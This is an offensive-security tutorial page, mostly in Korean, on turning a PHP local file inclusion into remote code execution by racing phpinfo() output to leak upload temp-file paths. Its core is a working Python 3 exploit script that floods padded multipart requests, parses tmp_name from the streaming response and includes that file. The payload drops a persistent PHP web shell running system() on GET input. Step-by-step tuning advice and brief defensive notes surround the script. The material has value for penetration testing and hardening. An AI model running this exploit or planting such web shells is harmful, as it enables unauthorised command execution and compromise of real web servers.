LFI to RCE via PHPInfo
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
이 기술을 악용하려면 다음 항목 모두가 필요합니다:
- phpinfo() 출력을 표시하는 접근 가능한 페이지.
- 제어 가능한 Local File Inclusion (LFI) primitive (예: 사용자 입력에 대한 include/require).
- PHP 파일 업로드 활성화(file_uploads = On). 모든 PHP 스크립트는 RFC1867 multipart 업로드를 받아들이며 업로드된 각 파트에 대해 임시 파일을 생성합니다.
- PHP 워커는 설정된 upload_tmp_dir(또는 기본 시스템 임시 디렉터리)에 쓸 수 있어야 하며, LFI는 해당 경로를 include할 수 있어야 합니다.
Classic write-up and original PoC:
- Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
- Original PoC script name: phpinfolfi.py (see whitepaper and mirrors)
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
오리지널 PoC에 대한 주의사항
- phpinfo() 출력은 HTML 인코딩되어 있으며, 따라서 “=>” 화살표는 종종 “=>“로 나타납니다. 레거시 스크립트를 재사용하는 경우 _FILES[tmp_name] 값을 파싱할 때 두 인코딩을 모두 검색하도록 하세요.
- payload(당신의 PHP 코드), REQ1(패딩을 포함한 phpinfo() 엔드포인트로의 요청), LFIREQ(LFI sink로의 요청)를 조정해야 합니다. 일부 타깃은 null-byte (%00) 종결자를 필요로 하지 않으며 최신 PHP 버전은 이를 존중하지 않을 수 있습니다. 취약한 sink에 맞게 LFIREQ를 조정하세요.
HTML-인코딩된 화살표를 매치하기 위한 예시 sed(구형 Python2 PoC를 실제로 사용하는 경우에만):
sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py
이론
- PHP가 파일 필드가 있는 multipart/form-data POST를 받으면, 내용을 임시 파일(upload_tmp_dir 또는 OS 기본 경로)에 기록하고 경로를 $_FILES[‘
’][‘tmp_name’]에 노출합니다. 파일은 이동/이름 변경되지 않으면 요청이 끝날 때 자동으로 삭제됩니다. - 요령은 임시 파일명을 알아내서 PHP가 정리하기 전에 LFI로 포함하는 것입니다. phpinfo()는 $_FILES를 출력하며, 그 안에 tmp_name이 포함됩니다.
- 요청 헤더/파라미터를 부풀려(padding) phpinfo() 출력의 초기 청크들이 요청 완료 전에 클라이언트로 플러시되도록 만들 수 있습니다. 이렇게 하면 임시 파일이 여전히 존재할 때 tmp_name을 읽고 즉시 해당 경로로 LFI를 호출할 수 있습니다.
Windows에서는 임시 파일이 일반적으로 C:\Windows\Temp\php*.tmp 같은 경로에 있습니다. Linux/Unix에서는 보통 /tmp 또는 upload_tmp_dir에 설정된 디렉토리에 있습니다.
레이스 전에 phpinfo()에서 확인할 항목
Before sending thousands of requests, extract the values that decide whether the race is realistic:
file_uploads:On이어야 합니다.upload_tmp_dir: 설정되어 있으면, 이것이 LFI가 포함할 수 있어야 하는 디렉토리입니다. 비어 있으면 시스템 기본 임시 디렉토리를 예상하세요.open_basedir: 활성화되어 있다면, 취약한 include 경로는tmp_name에 표시된 임시 디렉토리에 접근할 수 있어야 합니다.output_buffering:4096는 일반적/기본값 크기이며 많은 PoCs가 4KB 청크로 읽는 이유입니다. 단, 이 값은 다를 수 있습니다.zlib.output_compression,output_handler, 및 프레임워크 수준의 버퍼링: 이들은tmp_name을 충분히 일찍 볼 수 있는 확률을 줄입니다.Server API: PHP와 클라이언트 사이에 얼마나 많은 버퍼링이 있을지 판단하는 데 유용합니다 (apache2handler는 일반적으로 리버스 프록시 뒤의fpm-fcgi보다 이해하기 쉽습니다).
If the page does not show $_FILES, make sure you are really sending a multipart/form-data request with an actual file part. PHP only populates tmp_name for upload fields that were parsed.
공격 워크플로우 (단계별)
- 경합에서 지지 않도록 빠르게 셸을 지속시키는 작은 PHP 페이로드를 준비합니다(파일 쓰기가 일반적으로 리버스 셸을 기다리는 것보다 빠릅니다):
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
-
payload를 포함하는 임시 파일을 생성하도록 phpinfo() 페이지에 대용량 multipart POST를 직접 전송한다. 조기 출력을 유도하기 위해 여러 header/cookie/param에 약 5–10KB의 패딩을 채운다. 폼 필드 이름이 $_FILES에서 파싱할 이름과 일치하는지 확인한다.
-
phpinfo() 응답이 아직 스트리밍되는 동안, 부분 본문을 파싱하여 $_FILES[‘
’][‘tmp_name’] (HTML-encoded)를 추출한다. 전체 절대 경로(예: /tmp/php3Fz9aB)를 얻자마자 LFI를 호출하여 그 경로를 include한다. include()가 임시 파일이 삭제되기 전에 실행되면 payload가 실행되어 /tmp/.p.php를 생성한다. -
드롭된 파일을 사용: GET /vuln.php?include=/tmp/.p.php&x=id (또는 LFI로 포함할 수 있는 경로)로 명령을 안정적으로 실행한다.
팁
- 경쟁(race)을 이길 확률을 높이기 위해 다수의 동시 작업자(workers)를 사용하라.
- 일반적으로 도움이 되는 패딩 위치: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. 대상에 맞게 조정하라.
- 취약한 sink가 확장자(e.g., .php)를 덧붙이는 경우 null byte가 필요 없다; include()는 임시 파일 확장자에 상관없이 PHP를 실행한다.
Minimal Python 3 PoC (socket-based)
아래 스니펫은 핵심 부분에 집중되어 있으며 legacy Python2 스크립트보다 적응하기 쉽다. HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), 및 PAYLOAD를 커스터마이즈하라.
#!/usr/bin/env python3
import re, html, socket, threading
HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path
THREADS = 10
PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")
REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")
LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")
pat = re.compile(r"\\[tmp_name\\]\\s*=>\\s*([^\\s<]+)")
def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok
if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]
Troubleshooting
- You never see
tmp_name: phpinfo()에 대해 실제로 multipart/form-data로 POST했는지 확인하세요. phpinfo()는 업로드 필드가 있을 때만$_FILES를 출력합니다. tmp_nameappears only at the very end of the response: 이는 보통 PHP 버전 문제가 아니라 버퍼링 문제입니다. 큰output_buffering값,zlib.output_compression, userland output handlers, 또는 reverse-proxy/FastCGI 버퍼링이 phpinfo() 본문을 업로드 요청이 거의 끝날 때까지 지연시킬 수 있습니다.- You only get reliable streaming in a lab, not through the real site: CDN, WAF, 또는 reverse proxy가 업스트림 응답을 버퍼링하고 있을 수 있습니다. 동일 앱에 대한 경로가 여러 개 있는 경우, 가능한 한 직접 origin 경로를 우선하세요.
- The classic 4096-byte offset logic misses the leak: 4096을 보편적 상수가 아니라 일반적인
output_buffering기본값에서 유도된 시작점으로 취급하세요. 점진적으로 파싱하고tmp_name이 완성되는 즉시 중지하세요. - The temp file is included but your shell dies immediately: 업로드된 temp 파일은 원래 요청이 끝날 때 삭제되므로, 두 번째 파일을 쓰는 작은 stager를 사용하세요.
- Output doesn’t flush early: 패딩을 늘리거나, 더 큰 헤더를 추가하거나, 여러 동시 요청을 보내보세요. 일부 SAPIs/버퍼는 더 큰 임계값까지 플러시하지 않으니 상황에 맞게 조정하세요.
- LFI path blocked by
open_basedirorchroot: LFI를 허용된 경로로 지정하거나 다른 LFI2RCE 벡터로 전환해야 합니다. - Temp directory not
/tmp: phpinfo()는 전체 절대tmp_name경로를 출력합니다; LFI에서는 그 정확한 경로를 사용하세요.
Practical notes for modern stacks
- 이 기술은 현대 실험실 환경에서도 재현 가능합니다; 예를 들어 Vulhub는 PHP 7.2에서 데모를 유지합니다. 실제로는 성공이 phpinfo 고유의 패치 레벨보다는 output buffering과 proxying에 더 의존하는 경향이 있습니다.
flush()와implicit_flush는 PHP의 자체 출력 레이어에만 영향을 줍니다. 이것들이 FastCGI 게이트웨이, reverse proxy, 브라우저, 또는 중간자가 부분 청크를 즉시 방출할 것을 보장하지는 않습니다.- 대상이
fpm-fcgi이고 Nginx/Apache 프록시 뒤에 있는 경우 레이어 단위로 생각하세요: PHP 버퍼, PHP 출력 핸들러/압축, FastCGI 버퍼링, 그다음 프록시 버퍼링. 요청 셧다운이 임시 파일을 삭제하기 전에 phpinfo() 응답의 충분한 부분이 그 체인을 벗어나야 레이스가 작동합니다.
Defensive notes
- 운영 환경에서 phpinfo()를 절대 노출하지 마세요. 필요하다면 IP/auth로 제한하고 사용 후 제거하세요.
- 필요하지 않다면
file_uploads를 비활성화하세요. 그렇지 않다면upload_tmp_dir을 include()로 접근 가능한 경로가 아닌 경로로 제한하고 모든 include/require 경로에 대해 엄격한 검증을 시행하세요. - 모든 LFI를 치명적으로 취급하세요; phpinfo()가 없어도 다른 LFI→RCE 경로들이 존재합니다.
Related HackTricks techniques
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
References
- LFI With PHPInfo() Assistance whitepaper (2011) – Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
- PHP Manual – POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
- PHP Manual – Flushing System Buffers: https://www.php.net/manual/en/outcontrol.flushing-system-buffers.php
- Vulhub – PHP Local File Inclusion RCE with PHPINFO: https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.md
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


